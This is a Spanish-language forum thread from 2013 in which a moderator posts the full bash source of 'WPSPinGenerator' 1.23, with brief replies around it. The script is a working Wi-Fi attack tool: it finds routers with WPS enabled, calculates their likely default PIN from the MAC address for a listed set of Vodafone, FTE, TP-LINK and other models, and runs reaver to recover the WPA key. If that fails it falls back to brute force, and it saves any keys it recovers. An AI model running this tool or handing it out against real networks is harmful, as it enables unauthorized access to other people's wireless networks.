Si quiero tener la versión 1.22 (que supongo que traerá alguna MAC más) ¿la única forma es con wifiway? ¿no soléis actualizar este post con el código de la última versión?

Muchas gracias

sácalo de wifiway. es simplemente un script en bash. puede funcionar allá donde lo lleves, siempre que sea un sistema linux con una versión de bash decente

VTCop

  • Visitante
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #35 en: 03-09-2013, 19:31 (Martes) »

sácalo de wifiway. es simplemente un script en bash. puede funcionar allá donde lo lleves, siempre que sea un sistema linux con una versión de bash decente

Sí, si eso lo entiendo perfectamente, pero entonces cada vez que hay una actulización me tengo que descargar la iso de wifiway, descomprimirla y sacar el código, pero bueno, eso haré.

Muchas gracias

Desconectado sanson

  • Colaborador
  • *
  • Mensajes: 8404
Re: Re: nuevas modificaciones WPSPinGenerator
« Respuesta #36 en: 03-09-2013, 19:48 (Martes) »
Hola

Me extraña que en wifiway este esa version.  Creo que ni esta osea que fíjate.

Cuanto se saca una nueva versión  se hace el modulo, por tanto es solo copiarlo a la carpeta modules y ya esta así cargara la nueva versión.

Saludos

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 15985
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #37 en: 03-09-2013, 22:37 (Martes) »
El hilo , se abrio al comienzo de escribir decha herramienta , por que se toqueteo bastante hasta que la dejemos al gusto de todos.


Las funciones y demas son las mismas siempre, solo se amplia el listado de macs , nada mas.

en wifiway ni siquiera puede existir esta herramienta , a menos que la tengais en un modulo xzm.



Cada 3 o 4 meses ( a veces menos ) , se publica una nueva wifislax , asi que la verdad es que se abandono un poco esto , el ultimo que yo veo en este post en

version=

veo que pone 1.10

yo tengo 1.23 , no se si wifislax-4.6 lleva la 1.22 o la 1.23 , pero en realidad el cambio fue añadir 2 o 3 macs.


te pego el code de la 1.23

Código: [Seleccionar]
#!/bin/bash

# www.seguridadwireless.net
#
# Búsqueda de redes con WPS activo (wash), cálculo del posible PIN por defecto
# y prueba del PIN calculado (reaver)

#######################################
#############  CHANGELOG  #############
#######################################

# 19/07/2013   VERSION 1.23 
# - Añadida opción de iniciar ataque de fuerza bruta con reaver en caso de no conseguir la clave con el PIN calculado
# - Eliminada opción de escanear en 5GHZ (ninguno de los routers de los que se puede obtener el pin por defecto emite en esa frecuencia)
# - Eliminada la opción de mostrar mas información mientras que se prueba el pin con reaver, ahora siempre muestra la información (es inútil no mostrarla, ya que si no ves lo que está pasando no sabes si el PIN es incorrecto o si no se obtiene la clave por que no se consigue asociar con el AP)
# - Ya no se eliminan las capturas anteriores al inizar el script, así evitamos tener que volver a escanear obligatoriamente en cada inicio.

# 12/06/2013   VERSION 1.22  Se añade 1 mac vodafoneXXXX

# 31/05/2013   VERSION 1.21  Se añaden  6 nuevos routers soportados

# 29/05/2013   VERSION 1.20  Se incorpora code para levantar interfaces y asegurar el funcionamiento de las ralink ademas del parametro -a en el ataque.

# 22/03/2013   VERSION 1.19  Se añaden 2 macs TP-LINK

# 01/03/2013   VERSION 1.18  Se rescata compatibilidad vodafone 62:53:D4 eliminada por error y se añade una nueva vodafone 62:6B:D3 ( mac nueva 2013 )

# 23/02/2013   VERSION 1.17  Se añadi soprte a un router FTE-XXXX ,un vodafonexxxx ,y se cambian los tres ??? por Tenda y los Zyxel por WLAN_????

# 14/02/2013   VERSION 1.16  Se añade soporte a router Inves -->>  00:1D:1A

#######################################
#######################################

# Levantar interfaces para que las ralink funcionene en reaver

IW="$(iwconfig 2>/dev/null|cut -d" " -f1|grep -v "^$")"
IF="$(ifconfig|cut -d" " -f1)"

for x in $IW; do
if [ ! "$(echo "$IF"|grep -x "$x")" ]; then
ifconfig $x up &>/dev/null
fi
done



# Variables globales
SCRIPT="WPSPinGenerator"
VERSION="1.23"
KEYS="$HOME/swireless/$SCRIPT/Keys"
TMP="/tmp/$SCRIPT"

MACs_Soportadas='
ESSID BSSID
-------- --------
FTE-???? 04:C0:6F
FTE-???? 20:2B:C1
FTE-???? 28:5F:DB
FTE-???? 34:6B:D3
FTE-???? 80:B6:86
FTE-???? 84:A8:E4
FTE-???? B4:74:9F
FTE-???? BC:76:70
FTE-???? CC:96:A0
FTE-???? F8:3D:FF
vodafone???? 5C:4C:A9
vodafone???? 62:A8:E4
vodafone???? 62:B6:86
vodafone???? 62:C0:6F
vodafone???? 62:C6:1F
vodafone???? 62:C7:14
vodafone???? 62:E8:7B
vodafone???? 62:23:3D
vodafone???? 62:3C:E4
vodafone???? 62:3D:FF
vodafone???? 62:53:D4
vodafone???? 62:55:9C
vodafone???? 62:6B:D3
vodafone???? 62:7D:5E
vodafone???? 6A:1D:67
vodafone???? 6A:23:3D
vodafone???? 6A:3D:FF
vodafone???? 6A:53:D4
vodafone???? 6A:55:9C
vodafone???? 6A:6B:D3
vodafone???? 6A:7D:5E
vodafone???? 6A:A8:E4
vodafone???? 6A:C0:6F
vodafone???? 6A:C6:1F
vodafone???? 6A:C7:14
vodafone???? 6A:D1:5E
vodafone???? 6A:D1:67
vodafone???? 72:A8:E4
vodafone???? 72:C0:6F
vodafone???? 72:C7:14
vodafone???? 72:D1:5E
vodafone???? 72:E8:7B
vodafone???? 72:1D:67
vodafone???? 72:3C:E4     
vodafone???? 72:3D:FF
vodafone???? 72:53:D4
vodafone???? 72:55:9C       
vodafone???? 72:6B:D3
vodafone???? 72:7D:5E
Belkin_N+_?????? 00:22:75
belkin.??? 08:86:3B
belkin.??? 00:1C:DF
WLAN_???? 00:A0:26
WLAN_???? 50:57:F0
WLAN_?? 00:A0:B6
Jazztel_?? C8:D1:5E
SEC_ LinkShare_?????? E4:7C:F9
SEC_ LinkShare_?????? 80:1F:02
C300BRS4A 00:22:F7
Inves 00:1D:1A
Tenda C8:3A:35
Tenda 00:B0:0C
Tenda 08:10:75
TP-LINK_?????? 64:70:02
TP-LINK_?????? 90:F6:52
TP-LINK_?????? B0:48:7A
TP-LINK_?????? F8:D1:11
Default 00:1F:1F
Default 00:26:CE
???? 00:15:77
'

# Algoritmos del script WPSPIN

#Yeah Niroz was here, computePIN by ZaoChunsheng, C portado a bash
function wps_pin_checksum() {
  acum=0
  PIN_p2=0

  while [ $pin -gt 0 ]; do
    acum=$(($acum + (3 * ($pin % 10))))
    pin=$(($pin / 10))
    acum=$(($acum + ($pin % 10)))
    pin=$(($pin / 10))
  done

  result=$(((10 - ($acum % 10)) % 10))
  PIN_p2=$(($result % 10000000))
}

WPSPIN() {
CHECKESSID=$(echo $ESSID | cut -d '-' -f1)
#DEBUTBSSID=$(echo $BSSID | cut -d ":" -f1,2,3)
#CHECKBSSID=$(echo $DEBUTBSSID | tr -d ':')


#segunda parte de bssid xx:xx:xx:XX:XX:XX
BSSID_p2=$(echo $BSSID | cut -d ':' -f4-)

#6 últimos dígitos de bssid sin ':'
MAC=$(echo $BSSID_p2 | tr -d ':')

#MAC = 6 últimos dígitos hex de la mac
hex=$(echo -n $MAC | tr [:lower:] [:upper:])  #minúsculas a mayúsculas

#PIN_p1 primera parte del pin, PIN_p2 segunda parte del pin
PIN_p1=$(echo "ibase=16; $hex"|bc)  #convertir hex a decimal
#PIN_p1=$(printf '%d' 0x$hex) #convertir hex a decimal, otra forma

PIN_p1a=$(($PIN_p1 % 10000000))  # elimina dígito más significativo de PIN_p1
#PIN_p1b=$((($PIN_p1 % 10000000)+8))  # elimina dígito más significativo y suma 8
#PIN_p1c=$((($PIN_p1 % 10000000)+14))

pin=$PIN_p1a
wps_pin_checksum
PINWPS1=$(printf "%07d%d" "$PIN_p1a" "$PIN_p2")

#pin=$PIN_p1b
#wps_pin_checksum
#PINWPS2=$(printf "%07d%d" "$PIN_p1b" "$PIN_p2")

#pin=$PIN_p1c
#wps_pin_checksum
#PINWPS3=$(printf "%07d%d" "$PIN_p1c" "$PIN_p2")


if [ "$CHECKESSID" = "FTE" ];                         
then

#FIN_ESSID=XXXX <- FTE-XXXX
  FIN_ESSID=$(echo $ESSID | cut -d '-' -f2)

#nos quedamos con el 4 par de la bssid xx:xx:xx:XX:xx:xx
  PAR=$(echo $BSSID_p2 | cut -d ':' -f1)
  PAR=$(echo $PAR | tr -d ':')

#hex=AB1234, donde essid es FTE-1234 y bssid es xx:xx:xx:AB:xx:xx
  hex=$(echo $PAR$FIN_ESSID)

  MAC=$(printf '%d' 0x$hex) #hex to dec

  PIN_p1=$((($MAC % 10000000)+7))  # elimina dígito más significativo de MAC y +7

  pin=$PIN_p1
  wps_pin_checksum
  PINWPS4=$(printf "%07d%d" "$PIN_p1" "$PIN_p2")
 
fi 
}

# Comprobar si la interface está conectada a internet
CheckETH() {
clear
if [ "$(ip route|grep default)" != "" ]; then
  ETH=$(ip route|awk '/default/ {print $5}')
  HW_WIFI=$(ifconfig $WIFI|awk '/HW/ {print $5}'|cut -d- -f1,2,3,4,5,6)
  HW_ETH=$(ifconfig $ETH|awk '/HW/ {print $5}'|tr ':' '-')
  if [ "$HW_ETH" = "$HW_WIFI" ];then
    echo
    echo "Para evitar errores, la interface \"$ETH\" no debe estar conectada a internet! "
    echo ""
    echo "Presiona enter para volver al Menú"
    read junk
    menu
  fi
fi
}

# Funcion de seleccionar el objetivo a atacar, la mayor parte del codigo ha sido sacado del script Multiattack de M.K
SeleccionarObjetivo() {
i=0
redesWPS=0
while read BSSID Channel RSSI WPSVersion WPSLocked ESSID;do
  longueur=${#BSSID}
  if [ $longueur -eq 17 ] ; then
    i=$(($i+1))
    WPSbssid[$i]=$BSSID
    WPSCHANNEL[$i]=$Channel
    WPSessid[$i]=$ESSID
    PWR[$i]=$RSSI
  fi
  redesWPS=$i
done < $TMP/wash_capture
if  [ "$redesWPS" = "0" ];then
  clear
  echo ""
  echo ""
  echo "                        * * *     A T E N C I O N     * * *                "
  echo ""
  echo "                          No se ha encontrado ninguna RED "
  echo "                          con WPS activado en la captura"
  echo ""
  echo "                          Pulsa INTRO para volver al Menú"
  read junk
  InfoAP="OFF"
  menu
else
  clear
  echo ""
  echo "                Las siguientes redes son susceptibles de ataque con REAVER"
  echo ""
  echo "            MAC            Soportada       PWR      Channel      ESSID"
  echo ""
  countWPS=0
  while [ 1 -le $i ]; do
    countWPS=$(($countWPS+1))
    ESSID=${WPSessid[$countWPS]}
    BSSID=${WPSbssid[$countWPS]}
    PWR=${PWR[$countWPS]}
    CHANNEL=${WPSCHANNEL[$countWPS]}
    MAC_Recortada=$(echo "$BSSID"|rev|cut -d: -f4-|rev)
    if [ "$(echo "$MACs_Soportadas"|grep $MAC_Recortada)" != "" ]; then
      ESSID_Soportado=$(echo "$MACs_Soportadas"|grep $MAC_Recortada|awk '{print $1}')
      ESSID_Recortado=$(echo "$ESSID_Soportado"|tr -d '?')
      if [ "$(echo "$ESSID"|grep "^$ESSID_Recortado")" != "" ] && [ "${#ESSID_Soportado}" = "${#ESSID}" ]; then
SOPORTADA="SI"
      else
SOPORTADA="¿?"
      fi
    else
      SOPORTADA="NO"
    fi
    echo " $countWPS)  $BSSID         $SOPORTADA          $PWR         $CHANNEL         $ESSID"
    i=$(($i-1))
  done   
  i=$redesWPS
  echo ""
  echo " 0)  Para volver al menu "
  echo ""
  echo ""
  echo " --> Seleccione una red"
  read WPSoption
  set -- ${WPSoption}

  if [ $WPSoption -le $redesWPS ]; then
    if [ "$WPSoption" = "0" ];then
      menu
    fi
    ESSID=${WPSessid[$WPSoption]}
    BSSID=${WPSbssid[$WPSoption]}
    CHANNEL=${WPSCHANNEL[$WPSoption]}
    clear
  else
    echo " Opción no válida... vuelva a elegir"
    sleep 2
    SeleccionarObjetivo
  fi
fi
WPSPIN
ShowWPA="OFF"
InfoAP="ON"
menu
}

# Escanear con wash
WashScan() {
if [ "$WIFI" = "" ]; then auto_select_monitor && WashScan; fi
CheckETH
echo ""
echo " --> Introduce en segundos el tiempo de espera para escanear (30 por defecto): "
read SCANTIME
if [ "$SCANTIME" != "" ] && [ "$(echo $SCANTIME|grep -i [a-z])" = "" ]; then
  $@
else
  SCANTIME=30
fi
echo ""
echo " --> Introduce número de canal a escanear [1-14] (Todos por defecto): "
read SCANCHANNEL
if [ "$SCANCHANNEL" != "" ] && [ "$(echo $SCANCHANNEL|grep -i [a-z])" = "" ]; then
  SCANCHANNEL="-c $SCANCHANNEL"
else
  SCANCHANNEL=""
fi
echo ""

if [ -e "$TMP/wash_capture" ]; then rm -rf "$TMP/wash_capture"; fi
xterm -iconic -e wash -i $WIFI -C $SCANCHANNEL -o $TMP/wash_capture &
WashPID=$!
sleep $SCANTIME && kill $WashPID &>/dev/null &
sec_rem=$SCANTIME
while true; do
  let sec_rem=$sec_rem-1
      interval=$sec_rem
      seconds=`expr $interval % 60`
      interval=`expr $interval - $seconds`
  sleep 1
  clear
  echo "Escaneando en busca de objetivos... $seconds segundos"
  echo ""
  cat $TMP/wash_capture
  if [ ! -e /proc/$WashPID ]; then
    sleep 1
    break
  fi
done
SeleccionarObjetivo
}

auto_select_monitor() {
#! /bin/bash


#############################################################################################################
# Programa: monitormode
# Autor: M.K. Maese Kamara
#
# Detectar tarjetas y montar  en modo monitor

#############################################################################################################


#poner tarjeta en modo monitor AUTOMATICO

clear
t=0
if [ "$WIFI" = "" ]; then
> $TEMP/wireless.txt
cards=`airmon-ng|cut -d ' ' -f 1 | awk {'print $1'} |grep -v Interface #|grep -v  mon   `
echo $cards >> $TEMP/wireless.txt
tarj1=`cat $TEMP/wireless.txt | cut -d  ' ' -f 1  | awk  '{print $1}'`
tarj2=`cat $TEMP/wireless.txt | cut -d  ' ' -f 2  | awk  '{print $1}'`
rm  -rf $TEMP/wireless.txt

if  [ "$tarj1" = "" ]; then
clear
echo "                  * * *     A T E N C I O N     * * *                "
echo ""
echo "    No se ha encontrado ninguna tarjeta Wireless en este equipo"
echo ""
echo "    Pulsa ENTER para volver al Menú"
read yn
menu
fi

if [ "$tarj1" = "$tarj2" ]; then
tarj2=""
fi

tarjselec=$tarj1

if [ "$tarj2" != "" ] ;then
echo
echo
echo "      Se han encontrado las siguientes tarjetas wifi en este equipo"
echo

airmon-ng |awk 'BEGIN { print "Tarjeta  Chip              Driver\n------- ------------------ ----------" } \
  { printf "%-8s %-8s %-1s %10s\n", $1, $2, $3, $4 | "sort -r"}' |grep -v Interface  |grep -v Chipset

echo "      Selecciona una para utilizarla en modo monitor"
echo

tarj_wire=""
tarjselec=""
function selectarj {
select tarjselec in `airmon-ng | awk {'print $1 | "sort -r"'} |grep -v Interface |grep -v Chipset  `; do
break;
done

if [ "$tarjselec" = "" ]; then
echo "  La opción seleccionada no es válida"
echo "  Introduce una opción válida..."
selectarj
fi
}

if [ "$tarjselec" = "" ]; then
selectarj
fi

echo ""
echo "Interface seleccionado: $tarjselec"

fi
else
echo
fi
tarjmonitor=${tarjselec:0:3}
if [ "$tarjmonitor" != "mon" ] && [ "$WIFI" = "" ];then
echo ""
echo ""
echo "          Se está montando la tarjeta en modo monitor, espera..."
echo ""
sleep 1

# Limpieza de interface
ifconfig $tarjselec down >/dev/null
ifconfig $tarjselec up >/dev/null


airmon-ng start $tarjselec >/dev/null
cards=`airmon-ng|cut -d ' ' -f 1 |awk {'print $1 | "sort -d"'} |grep -v Interface |grep -v wlan`
largo=${#cards}
final=$(($largo-4))
WIFI=${cards:final}
echo  " $WIFI ----> Se utlilizará en modo monitor."
sleep 2

else
if [ "$WIFI" = "" ];then
WIFI="$tarjselec"

echo ""
echo  " $WIFI ----> Se utlilizará en modo monitor."
sleep 2
fi
fi
clear
}

ObtenerWPA() {
if [ "$WIFI" = "" ]; then auto_select_monitor && ObtenerWPA; fi
CheckETH
if [ "$1" != "--brouteforce" ]; then
  if [ "$CHECKESSID" = "FTE" ]; then
    PIN=$PINWPS4
  else
    PIN=$PINWPS1
  fi

  echo ""
  echo " --> Introduce en segundos el tiempo de espera para probar el PIN (30 por defecto): "
  read REAVERTIME
  if [ "$REAVERTIME" != "" ] && [ "$(echo $REAVERTIME|grep -i [a-z])" = "" ]; then
    $@
  else
    REAVERTIME=30
  fi
  echo ""
  xterm -iconic -e reaver -i $WIFI -b $BSSID -c $CHANNEL -a -p $PIN -vv -o $TMP/reaver_capture.$$ &
  ReaverPID=$!
  sleep $REAVERTIME && kill $ReaverPID &>/dev/null &
else
  xterm -iconic -e reaver -i $WIFI -b $BSSID -c $CHANNEL -a -vv -o $TMP/reaver_capture.$$ &
  ReaverPID=$!
fi

while true; do
  sleep 1
  clear
  echo "Obteniendo clave WPA..."
  echo ""
  cat $TMP/reaver_capture.$$
  if [ ! -e /proc/$ReaverPID ]; then
    sleep 1
    break
  fi
done
echo ""
WPA_KEY=$(cat $TMP/reaver_capture.$$|grep WPA|cut -d"'" -f2-|rev|cut -d"'" -f2-|rev)
if [ "$WPA_KEY" = "" ]; then
  while true; do
    echo "No ha sido posible obtener la clave WPA"
    echo ""
    echo "Selecciona una opción:"
    echo ""
    echo " 1) Volver a intentar con el PIN calculado"
    echo " 2) Probar todos los posibles pines (fuerza bruta)"
    echo " 0) Volver al menú principal"
    echo ""
    read -p " #> " CHOISE
    echo ""
    case $CHOISE in
      1 ) ObtenerWPA; break;;
      2 ) ObtenerWPA --brouteforce; break;;
      0 ) ShowWPA="OFF"; menu; break;;
      * ) echo "Opción incorrecta"; sleep 1; clear;;
    esac
  done
else
  WPA_TXT="$(echo $ESSID)_$(echo $BSSID|tr ':' '-').txt"
  echo "ESSID: $ESSID" >  $TMP/$WPA_TXT
  echo "PIN WPS: $PIN" >> $TMP/$WPA_TXT
  echo "CLAVE WPA: $WPA_KEY" >> $TMP/$WPA_TXT
  cat $TMP/$WPA_TXT|sed -e 's/$/\r/' > $KEYS/$WPA_TXT
  ShowWPA="ON"
  echo "La clave ha sido guardada en \"$KEYS/$WPA_TXT\""
fi
echo ""
echo "Presiona enter para volver al Menú"
read junk
menu
}

#Función de desmontar tarjeta y salir, sacada de el script Multiattack de M.K.
function DESMONTAR_tarj_y_salir {
if [ "$WIFI" != "" ]; then
clear
echo ""
  echo ""
  echo ""
  echo " ####################################################################"
  echo " ###                                                              ###"
  echo " ###     ¿Quieres desmontar la tarjeta antes de salir?            ###"
  echo " ###                                                              ###"
  echo " ###        (n) no   -> Salir sin desmontar                       ###"
  echo " ###        (m) Menú -> Volver al menú principal                  ###"
  echo " ###        ENTER    -> Desmontar y Salir                         ###"
  echo " ###                                                              ###"
  echo " ###                                                              ###"
  echo " ####################################################################"
  echo ""
  echo ""
read salida
set -- ${salida}

if [ "$salida" = "m" ]; then
menu
fi
if [ "$salida" = "n" ]; then
  echo ""
echo "         Hasta Pronto..."
sleep 2
clear
exit
fi
echo "$WIFI Ha sido desmontada"
airmon-ng stop $WIFI >/dev/null
fi
  echo ""
echo "         Hasta Pronto..."
sleep 2
clear
 exit

}

# Menú principal
menu() {
clear
echo "
         __    __               ___ _                   
        / / /\ \ \____  ___    / _ (_)_ __     
        \ \/  \/ /  _ \/ __|  / /_)/ | /_ \   
         \  /\  /| |_) \__ \ / ___/| | | | |   
          \/  \/ |  __/|___/ \/    |_|_| |_|  Generator $VERSION
                 |_|                          www.seguridadwireless.net    "
echo ""
echo "        ****************************************************"
echo "        * << Based on ZhaoChunsheng work & kcdtv script >> *"
echo "        **************************************************** "
####################################################################
sleep 1
echo "---------------------------------------"
if [ "$InfoAP" = "ON" ]; then
  echo "INFO AP OBJETIVO"
  echo ""
  echo "              ESSID = $ESSID"
  echo "              Canal = $CHANNEL"
  echo "         MAC del AP = $BSSID"
  if [ "$CHECKESSID" = "FTE" ]; then
    echo "    Posible pin WPS = $PINWPS4"
  else
    echo "    Posible pin WPS = $PINWPS1"
  fi
  if [ "$ShowWPA" = "ON" ]; then
  echo "          Clave WPA = $WPA_KEY"
  fi
  echo "---------------------------------------"
fi
echo ""
echo " 1) Buscar objetivos con WPS activado"
echo ""
echo " 2) Obtener clave WPA con reaver"
echo ""
echo " 3) Seleccionar otro objetivo"
echo ""
echo " 0) Salir"
echo ""
read -p " #> " CHOISE
echo ""
case $CHOISE in
  1 ) WashScan;;
  2 ) ObtenerWPA;;
  3 ) SeleccionarObjetivo;;
  0 ) DESMONTAR_tarj_y_salir;;
  * ) echo "Opción incorrecta"; menu;;
esac
}

# Comprobación de usuario
if [ "$(whoami)" != "root" ]; then
 echo -e "\e[1;31m
    Debes ser root para ejecutar este script.

    Prueba: sudo bash $0
\e[0m"

 exit 1
fi

# Crear directorios si no existen
if [ ! -d $TMP ]; then mkdir -p $TMP; fi
if [ ! -d $KEYS ]; then mkdir -p $KEYS; fi
if [ -d $HOME/Desktop/Wireless-Keys ]; then
  if [ ! -d $HOME/Desktop/Wireless-Keys/$SCRIPT-keys ]; then
    ln -s $KEYS $HOME/Desktop/Wireless-Keys/$SCRIPT-keys
  fi
fi

# Eliminando interfaces en modo monitor
interfaces=$(ifconfig|awk '/^mon/ {print $1}')
if [ "$interfaces" != "" ]; then
  for monx in $interfaces; do
    airmon-ng stop $monx >/dev/null 2>&1
  done
fi

menu

VTCop

  • Visitante
Re: Re: nuevas modificaciones WPSPinGenerator
« Respuesta #38 en: 04-09-2013, 12:58 (Miércoles) »
Hola

Me extraña que en wifiway este esa version.  Creo que ni esta osea que fíjate.

Cuanto se saca una nueva versión  se hace el modulo, por tanto es solo copiarlo a la carpeta modules y ya esta así cargara la nueva versión.

Saludos

Quería decir en wifislax. En los cambios introducidos en la versión 4.6 dice:

21 – Actualizado wpspingenerator para aladir una mac nueva ( v 1.22 )


@USUARIONUEVO
Muchas gracias por el código

Chumpy

  • Visitante
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #39 en: 24-09-2013, 00:39 (Martes) »
He decidido borrar cierto mensaje para evitar el linchamiento publico. Hay que leer un poco antes de escribir. Hagamos preguntas inteligentes y evitemos las absurdas u obias.